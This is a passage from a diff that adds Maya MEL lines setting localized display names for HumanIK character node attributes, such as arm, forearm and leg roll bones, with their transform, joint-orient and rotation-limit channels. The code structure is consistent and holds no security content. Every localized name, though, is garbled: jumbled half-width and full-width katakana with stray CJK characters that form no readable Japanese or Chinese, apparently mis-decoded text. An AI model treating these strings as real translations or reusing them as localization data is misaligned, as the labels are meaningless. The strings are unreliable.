x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Ry", "メカラアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Rz", "メカラアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3S", "メカラアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Sx", "メカラアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Sy", "メカラアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Sz", "メカラアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", "メカラアロイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateAxis", "メカラアロイ犹 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateAxisx", "メカラアロイ犹 3 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateAxisy", "メカラアロイ犹 3 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateAxisz", "メカラアロイ犹 3 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3JointOrient", "メカラアロイ犹 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3JointOrientx", "メカラアロイ犹 3 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3JointOrienty", "メカラアロイ犹 3 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3JointOrientz", "メカラアロイ犹 3 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimit", "メカラアロイ犹 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitx", "メカラアロイ犹 3 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimity", "メカラアロイ犹 3 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitz", "メカラアロイ犹 3 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimit", "メカラアロイ犹 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitx", "メカラアロイ犹 3 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimity", "メカラアロイ犹 3 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitz", "メカラアロイ犹 3 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitEnablex", "ニモテメカラアロイ犹 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitEnabley", "ニモテメカラアロイ犹 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MinRLimitEnablez", "ニモテメカラアロイ犹 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitEnablex", "ニモテメカラアロイ犹 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitEnabley", "ニモテメカラアロイ犹 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3MaxRLimitEnablez", "ニモテメカラアロイ犹 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3", "メカラヌーアロイ犹 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3T", "メカラヌーアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Tx", "メカラヌーアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Ty", "メカラヌーアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Tz", "メカラヌーアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3R", "メカラヌーアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Rx", "メカラヌーアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Ry", "メカラヌーアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Rz", "メカラヌーアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3S", "メカラヌーアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Sx", "メカラヌーアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Sy", "メカラヌーアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3Sz", "メカラヌーアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", "メカラヌーアロイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateAxis", "メカラヌーアロイ犹 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateAxisx", "メカラヌーアロイ犹 3 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateAxisy", "メカラヌーアロイ犹 3 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateAxisz", "メカラヌーアロイ犹 3 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3JointOrient", "メカラヌーアロイ犹 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3JointOrientx", "メカラヌーアロイ犹 3 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3JointOrienty", "メカラヌーアロイ犹 3 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3JointOrientz", "メカラヌーアロイ犹 3 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimit", "メカラヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitx", "メカラヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimity", "メカラヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitz", "メカラヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimit", "メカラヌーアロイ犹 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitx", "メカラヌーアロイ犹 3 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimity", "メカラヌーアロイ犹 3 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitz", "メカラヌーアロイ犹 3 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitEnablex", "ニモテメカラヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitEnabley", "ニモテメカラヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MinRLimitEnablez", "ニモテメカラヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitEnablex", "ニモテメカラヌーアロイ犹 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitEnabley", "ニモテメカラヌーアロイ犹 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll3MaxRLimitEnablez", "ニモテメカラヌーアロイ犹 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3", "メカモメアロイ犹 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3T", "メカモメアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Tx", "メカモメアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Ty", "メカモメアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Tz", "メカモメアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3R", "メカモメアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Rx", "メカモメアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Ry", "メカモメアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Rz", "メカモメアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3S", "メカモメアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Sx", "メカモメアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Sy", "メカモメアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3Sz", "メカモメアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", "メカモメアロイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateAxis", "メカモメアロイ犹 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateAxisx", "メカモメアロイ犹 3 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateAxisy", "メカモメアロイ犹 3 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3RotateAxisz", "メカモメアロイ犹 3 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3JointOrient", "メカモメアロイ犹 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3JointOrientx", "メカモメアロイ犹 3 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3JointOrienty", "メカモメアロイ犹 3 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3JointOrientz", "メカモメアロイ犹 3 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimit", "メカモメアロイ犹 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitx", "メカモメアロイ犹 3 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimity", "メカモメアロイ犹 3 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitz", "メカモメアロイ犹 3 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimit", "メカモメアロイ犹 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitx", "メカモメアロイ犹 3 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimity", "メカモメアロイ犹 3 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitz", "メカモメアロイ犹 3 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitEnablex", "ニモテメカモメアロイ犹 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitEnabley", "ニモテメカモメアロイ犹 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MinRLimitEnablez", "ニモテメカモメアロイ犹 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitEnablex", "ニモテメカモメアロイ犹 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitEnabley", "ニモテメカモメアロイ犹 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll3MaxRLimitEnablez", "ニモテメカモメアロイ犹 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3", "メカモメヌーアロイ犹 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3T", "メカモメヌーアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Tx", "メカモメヌーアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Ty", "メカモメヌーアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Tz", "メカモメヌーアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3R", "メカモメヌーアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Rx", "メカモメヌーアロイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Ry", "メカモメヌーアロイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Rz", "メカモメヌーアロイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3S", "メカモメヌーアロイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Sx", "メカモメヌーアロイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Sy", "メカモメヌーアロイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3Sz", "メカモメヌーアロイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", "メカモメヌーアロイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateAxis", "メカモメヌーアロイ犹 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateAxisx", "メカモメヌーアロイ犹 3 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateAxisy", "メカモメヌーアロイ犹 3 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateAxisz", "メカモメヌーアロイ犹 3 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3JointOrient", "メカモメヌーアロイ犹 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3JointOrientx", "メカモメヌーアロイ犹 3 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3JointOrienty", "メカモメヌーアロイ犹 3 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3JointOrientz", "メカモメヌーアロイ犹 3 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimit", "メカモメヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitx", "メカモメヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimity", "メカモメヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitz", "メカモメヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimit", "メカモメヌーアロイ犹 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitx", "メカモメヌーアロイ犹 3 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimity", "メカモメヌーアロイ犹 3 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitz", "メカモメヌーアロイ犹 3 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitEnablex", "ニモテメカモメヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitEnabley", "ニモテメカモメヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MinRLimitEnablez", "ニモテメカモメヌーアロイ犹 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitEnablex", "ニモテメカモメヌーアロイ犹 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitEnabley", "ニモテメカモメヌーアロイ犹 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll3MaxRLimitEnablez", "ニモテメカモメヌーアロイ犹 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4", "メカラエヘネイ犹 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4T", "メカラエヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Tx", "メカラエヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Ty", "メカラエヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Tz", "メカラエヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4R", "メカラエヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Rx", "メカラエヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Ry", "メカラエヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Rz", "メカラエヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4S", "メカラエヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Sx", "メカラエヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Sy", "メカラエヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4Sz", "メカラエヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", "メカラエヘネイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateAxis", "メカラエヘネイ犹 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateAxisx", "メカラエヘネイ犹 4 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateAxisy", "メカラエヘネイ犹 4 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateAxisz", "メカラエヘネイ犹 4 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4JointOrient", "メカラエヘネイ犹 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4JointOrientx", "メカラエヘネイ犹 4 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4JointOrienty", "メカラエヘネイ犹 4 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4JointOrientz", "メカラエヘネイ犹 4 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimit", "メカラエヘネイ犹 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitx", "メカラエヘネイ犹 4 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimity", "メカラエヘネイ犹 4 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitz", "メカラエヘネイ犹 4 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimit", "メカラエヘネイ犹 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitx", "メカラエヘネイ犹 4 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimity", "メカラエヘネイ犹 4 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitz", "メカラエヘネイ犹 4 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitEnablex", "ニモテメカラエヘネイ犹 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitEnabley", "ニモテメカラエヘネイ犹 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MinRLimitEnablez", "ニモテメカラエヘネイ犹 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitEnablex", "ニモテメカラエヘネイ犹 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitEnabley", "ニモテメカラエヘネイ犹 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll4MaxRLimitEnablez", "ニモテメカラエヘネイ犹 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4", "メカラヘネイ犹 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4T", "メカラヘネイ犹 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Tx", "メカラヘネイ犹 4 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Ty", "メカラヘネイ犹 4 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Tz", "メカラヘネイ犹 4 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4R", "メカラヘネイ犹 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Rx", "メカラヘネイ犹 4 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Ry", "メカラヘネイ犹 4 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Rz", "メカラヘネイ犹 4 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4S", "メカラヘネイ犹 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Sx", "メカラヘネイ犹 4 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Sy", "メカラヘネイ犹 4 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4Sz", "メカラヘネイ犹 4 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", "メカラヘネイ犹 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateAxis", "メカラヘネイ犹 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateAxisx", "メカラヘネイ犹 4 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateAxisy", "メカラヘネイ犹 4 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateAxisz", "メカラヘネイ犹 4 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4JointOrient", "メカラヘネイ犹 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4JointOrientx", "メカラヘネイ犹 4 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4JointOrienty", "メカラヘネイ犹 4 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4JointOrientz", "メカラヘネイ犹 4 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimit", "メカラヘネイ犹 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitx", "メカラヘネイ犹 4 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimity", "メカラヘネイ犹 4 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MinRLimitz", "メカラヘネイ犹 4 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimit", "メカラヘネイ犹 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimitx", "メカラヘネイ犹 4 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll4MaxRLimity", "メカラヘネイ犹 4 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", 